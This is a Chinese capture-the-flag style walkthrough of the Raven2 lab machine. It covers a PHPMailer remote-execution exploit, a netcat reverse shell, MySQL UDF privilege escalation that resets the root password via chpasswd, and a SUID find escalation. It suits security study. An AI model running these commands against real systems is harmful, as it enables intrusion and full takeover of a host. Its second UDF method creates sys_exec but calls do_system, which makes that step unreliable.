网络安全从0到0.5之Raven2靶机实战渗透测试

admin 2022年3月8日14:36:30网络安全从0到0.5之Raven2靶机实战渗透测试已关闭评论73 views字数 2358阅读7分51秒阅读模式

Mysql-UDF提权(Raven2系列靶机)

这里搭建了vulhub上的靶机Raven2进行学习

网址:https://www.vulnhub.com/?q=raven2

信息收集

nmap进行初步扫描开放端口

网络安全从0到0.5之Raven2靶机实战渗透测试

利用dirb进行扫描目录,发现vendor目录存在漏洞

网络安全从0到0.5之Raven2靶机实战渗透测试

发现漏洞

浏览器进行访问发现了第一个flag1

网络安全从0到0.5之Raven2靶机实战渗透测试

继续观察,发现存在phpmailer.php

网络安全从0到0.5之Raven2靶机实战渗透测试

网络安全从0到0.5之Raven2靶机实战渗透测试

并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞,版本号为5.2.16

漏洞利用

在kali 中搜索相关漏洞 searchsploit phpmailer

网络安全从0到0.5之Raven2靶机实战渗透测试

发现可利用脚本40974.py,将其下载下来,查看配置文件

网络安全从0到0.5之Raven2靶机实战渗透测试

保存exp的py程序

运行这里可能会出现缺少requests_toolbelt 模块问题

解决方案
pip3 install requests_toolbelt
python3 40974.py

执行脚本后,访问http://IP/contact.php 会生成一个反弹木马文件sb.php,下面进行监听反弹shell

网络安全从0到0.5之Raven2靶机实战渗透测试

nc -lvnp 3333 反弹得到shell

网络安全从0到0.5之Raven2靶机实战渗透测试

进行UDF提权

ps -aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务,或ps -ef | grep mysql

网络安全从0到0.5之Raven2靶机实战渗透测试

在kali搜索mysql udf可以提权的漏洞脚本

网络安全从0到0.5之Raven2靶机实战渗透测试

分析脚本进行漏洞利用

网络安全从0到0.5之Raven2靶机实战渗透测试

分析/var/www/html/wordpress/wp-config.php 文件,找到mysql的密码

网络安全从0到0.5之Raven2靶机实战渗透测试

得到登录密码后,直接可以登录mysql

这里利用模块反弹一下shell,方便利用

网络安全从0到0.5之Raven2靶机实战渗透测试

代码复制到靶机上,成功得到shell

网络安全从0到0.5之Raven2靶机实战渗透测试

下面进行提权

在kali进行编译得到raptor_udf2.c和.o和.so,将其传到靶机进行利用
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

网络安全从0到0.5之Raven2靶机实战渗透测试

在靶机上的/var/www/html/目录进行下载

网络安全从0到0.5之Raven2靶机实战渗透测试

```mysql
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权

show variables like '%compile%'; #查看主机版本及架构
show variables like 'plugin%'; #查看 plugin 目录
```

登录mysql进行利用提权

mysql
mysql -uroot -pR@v3nSecurity
use mysql
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system("echo 'root:123456'|chpasswd"); 将root密码修改

查看mysql的插件目录为/usr/lib/mysql/plugin

网络安全从0到0.5之Raven2靶机实战渗透测试

网络安全从0到0.5之Raven2靶机实战渗透测试

网络安全从0到0.5之Raven2靶机实战渗透测试

su root成功提权

网络安全从0到0.5之Raven2靶机实战渗透测试

拓展

也可以利用给s权限进行利用

select do_system('chmod u+s /usr/bin/find');
touch a
find a -exec 'whoami' \;
find a -exec '/bin/sh' \;

网络安全从0到0.5之Raven2靶机实战渗透测试

利用find 成功提权

网络安全从0到0.5之Raven2靶机实战渗透测试

提权二(利用kali自带udf提权)

locate udf找到对应的udf脚本文件

网络安全从0到0.5之Raven2靶机实战渗透测试

这里要将lib_mysqludf_sys.so_进行解码

apl
cd /usr/share/sqlmap/extra/cloak/ 进入cloak目录
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_ 将lib_mysqludf_sys.so_进行解码

解码后的会在在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件,将其上传到靶机

mysql
mysql -uroot -pR@v3nSecurity
use mysql
create table ceshi(line blob);
insert into ceshi values(load_file('/var/www/html/lib_mysqludf_sys.so'));
select * from ceshi into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select * from mysql.func;
select do_system("echo 'root:123456'|chpasswd"); 将root密码修改

网络安全从0到0.5之Raven2靶机实战渗透测试

总结:Raven靶机还是颇有收获的,也算是对Mysql提权的学习,整理了自己的思路和笔记。

小记:前行的路必然不会一路平坦,但只要方向正确,只在还有毅力,还能坚持下去,就要继续前进,前方会有属于自己的诗和远方。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月8日14:36:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全从0到0.5之Raven2靶机实战渗透测试http://cn-sec.com/archives/821971.html